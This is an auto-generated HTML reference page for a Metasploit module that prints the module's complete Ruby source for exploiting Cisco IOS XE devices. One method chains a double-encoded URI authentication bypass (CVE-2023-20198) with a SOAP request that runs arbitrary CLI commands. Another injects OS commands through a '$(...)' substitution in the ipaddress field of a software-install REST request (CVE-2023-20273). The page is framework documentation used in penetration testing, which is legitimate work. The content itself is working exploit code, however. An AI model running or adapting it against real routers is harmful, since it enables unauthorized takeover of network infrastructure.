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408 lines
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Module: Msf::Exploit::Remote::HTTP::CiscoIosXe
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<span class='title'><span class='object_link'><a href="../../../../Msf.html" title="Msf (module)">Msf</a></span></span> » <span class='title'><span class='object_link'><a href="../../../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span> » <span class='title'><span class='object_link'><a href="../../Remote.html" title="Msf::Exploit::Remote (class)">Remote</a></span></span> » <span class='title'><span class='object_link'><a href="../HTTP.html" title="Msf::Exploit::Remote::HTTP (module)">HTTP</a></span></span>
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<span class="title">CiscoIosXe</span>
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<div id="content"><h1>Module: Msf::Exploit::Remote::HTTP::CiscoIosXe
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</h1>
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<div class="box_info">
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<dl>
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<dt>Defined in:</dt>
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<dd>lib/msf/core/exploit/remote/http/cisco_ios_xe.rb</dd>
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</dl>
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<h2>Defined Under Namespace</h2>
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<p class="children">
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<strong class="classes">Classes:</strong> <span class='object_link'><a href="CiscoIosXe/Mode.html" title="Msf::Exploit::Remote::HTTP::CiscoIosXe::Mode (class)">Mode</a></span>
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</p>
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<h2>
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Instance Method Summary
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<small><a href="#" class="summary_toggle">collapse</a></small>
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</h2>
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<ul class="summary">
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<li class="public ">
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<span class="summary_signature">
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<a href="#run_cli_command-instance_method" title="#run_cli_command (instance method)">#<strong>run_cli_command</strong>(cmd, mode, username = 'vty0') ⇒ Object </a>
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</span>
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<span class="summary_desc"><div class='inline'>
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<p>Leverage CVE-2023-20198 to run an arbitrary CLI command against a vulnerable Cisco IOX XE device.</p>
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</div></span>
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</li>
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<li class="public ">
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<span class="summary_signature">
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<a href="#run_os_command-instance_method" title="#run_os_command (instance method)">#<strong>run_os_command</strong>(cmd, admin_username, admin_password) ⇒ Object </a>
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<span class="summary_desc"><div class='inline'>
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<p>Leverage CVE-2023-20273 to run an arbitrary OS command against a vulnerable Cisco IOX XE device.</p>
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</div></span>
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</li>
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</ul>
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<div id="instance_method_details" class="method_details_list">
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<h2>Instance Method Details</h2>
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<div class="method_details first">
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<h3 class="signature first" id="run_cli_command-instance_method">
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#<strong>run_cli_command</strong>(cmd, mode, username = 'vty0') ⇒ <tt>Object</tt>
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</h3><div class="docstring">
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<div class="discussion">
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<p>Leverage CVE-2023-20198 to run an arbitrary CLI command against a vulnerable Cisco IOX XE device.</p>
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</div>
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</div>
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<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/http/cisco_ios_xe.rb', line 22</span>
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<span class='kw'>def</span> <span class='id identifier rubyid_run_cli_command'>run_cli_command</span><span class='lparen'>(</span><span class='id identifier rubyid_cmd'>cmd</span><span class='comma'>,</span> <span class='id identifier rubyid_mode'>mode</span><span class='comma'>,</span> <span class='id identifier rubyid_username'>username</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>vty0</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
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<span class='kw'>case</span> <span class='id identifier rubyid_mode'>mode</span>
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<span class='kw'>when</span> <span class='const'><span class='object_link'><a href="CiscoIosXe/Mode.html" title="Msf::Exploit::Remote::HTTP::CiscoIosXe::Mode (class)">Mode</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="CiscoIosXe/Mode.html#USER_EXEC-constant" title="Msf::Exploit::Remote::HTTP::CiscoIosXe::Mode::USER_EXEC (constant)">USER_EXEC</a></span></span>
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<span class='id identifier rubyid_cmd'>cmd</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>exit\nexit\n</span><span class='tstring_end'>"</span></span> <span class='op'>+</span> <span class='id identifier rubyid_cmd'>cmd</span>
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<span class='kw'>when</span> <span class='const'><span class='object_link'><a href="CiscoIosXe/Mode.html" title="Msf::Exploit::Remote::HTTP::CiscoIosXe::Mode (class)">Mode</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="CiscoIosXe/Mode.html#PRIVILEGED_EXEC-constant" title="Msf::Exploit::Remote::HTTP::CiscoIosXe::Mode::PRIVILEGED_EXEC (constant)">PRIVILEGED_EXEC</a></span></span>
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<span class='id identifier rubyid_cmd'>cmd</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>exit\n</span><span class='tstring_end'>"</span></span> <span class='op'>+</span> <span class='id identifier rubyid_cmd'>cmd</span>
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<span class='kw'>end</span>
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<span class='comment'># As we place the cmd in CDATA, we cannot have the closing tag in the command.
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</span> <span class='kw'>if</span> <span class='id identifier rubyid_cmd'>cmd</span><span class='period'>.</span><span class='id identifier rubyid_include?'>include?</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>]]></span><span class='tstring_end'>'</span></span>
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<span class='id identifier rubyid_print_error'>print_error</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>CLI command contain bad sequence ']]>'.</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
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<span class='kw'>return</span> <span class='kw'>nil</span>
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<span class='kw'>end</span>
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<span class='id identifier rubyid_xml'>xml</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>%(</span><span class='tstring_content'><?xml version="1.0"?>
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<SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
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<SOAP:Header>
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<wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext">
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<wsse:UsernameToken SOAP:mustUnderstand="false">
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<wsse:Username></span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_username'>username</span><span class='embexpr_end'>}</span><span class='tstring_content'></wsse:Username>
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<wsse:Password>*****</wsse:Password>
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</wsse:UsernameToken>
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</wsse:Security>
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</SOAP:Header>
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<SOAP:Body>
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<request correlator="</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>" xmlns="urn:cisco:wsma-config">
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<configApply details="all" action-on-fail="continue">
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<config-data>
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<cli-config-data-block><![CDATA[</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cmd'>cmd</span><span class='embexpr_end'>}</span><span class='tstring_content'>]]></cli-config-data-block>
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</config-data>
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</configApply>
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</request>
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</SOAP:Body>
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</SOAP:Envelope></span><span class='tstring_end'>)</span></span>
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<span class='id identifier rubyid_res'>res</span> <span class='op'>=</span> <span class='id identifier rubyid_send_request_cgi'>send_request_cgi</span><span class='lparen'>(</span>
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<span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>method</span><span class='tstring_end'>'</span></span> <span class='op'>=></span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>POST</span><span class='tstring_end'>'</span></span><span class='comma'>,</span>
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<span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>uri</span><span class='tstring_end'>'</span></span> <span class='op'>=></span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>SSL</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>==</span> <span class='kw'>true</span> <span class='op'>?</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>/%2577eb%2575i_%2577sma_hTtPs</span><span class='tstring_end'>'</span></span> <span class='op'>:</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>/%2577eb%2575i_%2577sma_hTtP</span><span class='tstring_end'>'</span></span><span class='comma'>,</span>
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<span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>data</span><span class='tstring_end'>'</span></span> <span class='op'>=></span> <span class='id identifier rubyid_xml'>xml</span>
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<span class='rparen'>)</span>
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<span class='kw'>return</span> <span class='kw'>nil</span> <span class='kw'>unless</span> <span class='id identifier rubyid_res'>res</span><span class='op'>&.</span><span class='id identifier rubyid_code'>code</span> <span class='op'>==</span> <span class='int'>200</span>
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<span class='id identifier rubyid_xml_doc'>xml_doc</span> <span class='op'>=</span> <span class='const'>Nokogiri</span><span class='op'>::</span><span class='const'>XML</span><span class='lparen'>(</span><span class='id identifier rubyid_res'>res</span><span class='period'>.</span><span class='id identifier rubyid_body'>body</span><span class='rparen'>)</span>
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<span class='id identifier rubyid_xml_doc'>xml_doc</span><span class='period'>.</span><span class='id identifier rubyid_remove_namespaces!'>remove_namespaces!</span>
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<span class='id identifier rubyid_result'>result</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
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<span class='id identifier rubyid_xml_doc'>xml_doc</span><span class='period'>.</span><span class='id identifier rubyid_xpath'>xpath</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>//Envelope/Body/response/resultEntry/text</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_each'>each</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_val1'>val1</span><span class='op'>|</span>
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<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='id identifier rubyid_val1'>val1</span><span class='period'>.</span><span class='id identifier rubyid_content'>content</span><span class='period'>.</span><span class='id identifier rubyid_gsub'>gsub</span><span class='lparen'>(</span><span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>^\*\*CLI Line # \d+: </span><span class='regexp_end'>/</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
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<span class='kw'>end</span>
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<span class='id identifier rubyid_result'>result</span>
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<span class='kw'>end</span></pre>
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</td>
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</tr>
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</table>
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</div>
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<div class="method_details ">
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<h3 class="signature " id="run_os_command-instance_method">
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#<strong>run_os_command</strong>(cmd, admin_username, admin_password) ⇒ <tt>Object</tt>
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</h3><div class="docstring">
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<div class="discussion">
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<p>Leverage CVE-2023-20273 to run an arbitrary OS command against a vulnerable Cisco IOX XE device.</p>
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</div>
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</div>
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<div class="tags">
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<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/http/cisco_ios_xe.rb', line 80</span>
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<span class='kw'>def</span> <span class='id identifier rubyid_run_os_command'>run_os_command</span><span class='lparen'>(</span><span class='id identifier rubyid_cmd'>cmd</span><span class='comma'>,</span> <span class='id identifier rubyid_admin_username'>admin_username</span><span class='comma'>,</span> <span class='id identifier rubyid_admin_password'>admin_password</span><span class='rparen'>)</span>
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<span class='comment'># https://blog.leakix.net/2023/10/cisco-root-privesc/ reports that on version 17.* 'installMethod' is now 'mode'.
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</span> <span class='comment'># We pass both to satisfy either version.
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</span> <span class='id identifier rubyid_json'>json</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>%(</span><span class='tstring_content'>{
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"installMethod": "tftp",
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"mode": "tftp",
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"ipaddress": "</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_hex'>rand_text_hex</span><span class='lparen'>(</span><span class='int'>4</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>:</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_hex'>rand_text_hex</span><span class='lparen'>(</span><span class='int'>4</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>:</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_hex'>rand_text_hex</span><span class='lparen'>(</span><span class='int'>4</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>:$(</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cmd'>cmd</span><span class='embexpr_end'>}</span><span class='tstring_content'>)",
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"operation_type": "SMU",
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"filePath": "</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>",
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"fileSystem": "flash:"
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}</span><span class='tstring_end'>)</span></span>
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<span class='id identifier rubyid_res'>res</span> <span class='op'>=</span> <span class='id identifier rubyid_send_request_cgi'>send_request_cgi</span><span class='lparen'>(</span>
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<span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>method</span><span class='tstring_end'>'</span></span> <span class='op'>=></span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>POST</span><span class='tstring_end'>'</span></span><span class='comma'>,</span>
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<span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>uri</span><span class='tstring_end'>'</span></span> <span class='op'>=></span> <span class='id identifier rubyid_normalize_uri'>normalize_uri</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>webui</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>rest</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>softwareMgmt</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>installAdd</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span><span class='comma'>,</span>
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<span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>headers</span><span class='tstring_end'>'</span></span> <span class='op'>=></span> <span class='lbrace'>{</span>
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<span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Authorization</span><span class='tstring_end'>'</span></span> <span class='op'>=></span> <span class='id identifier rubyid_basic_auth'>basic_auth</span><span class='lparen'>(</span><span class='id identifier rubyid_admin_username'>admin_username</span><span class='comma'>,</span> <span class='id identifier rubyid_admin_password'>admin_password</span><span class='rparen'>)</span>
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<span class='rbrace'>}</span><span class='comma'>,</span>
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<span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>data</span><span class='tstring_end'>'</span></span> <span class='op'>=></span> <span class='id identifier rubyid_json'>json</span>
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<span class='rparen'>)</span>
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<span class='id identifier rubyid_res'>res</span><span class='op'>&.</span><span class='id identifier rubyid_code'>code</span> <span class='op'>==</span> <span class='int'>200</span>
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<span class='kw'>end</span></pre>
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</td>
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</tr>
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</table>
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<div id="footer">
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Generated on Fri May 8 17:02:23 2026 by
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<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
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0.9.37 (ruby-3.1.5).
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</body>
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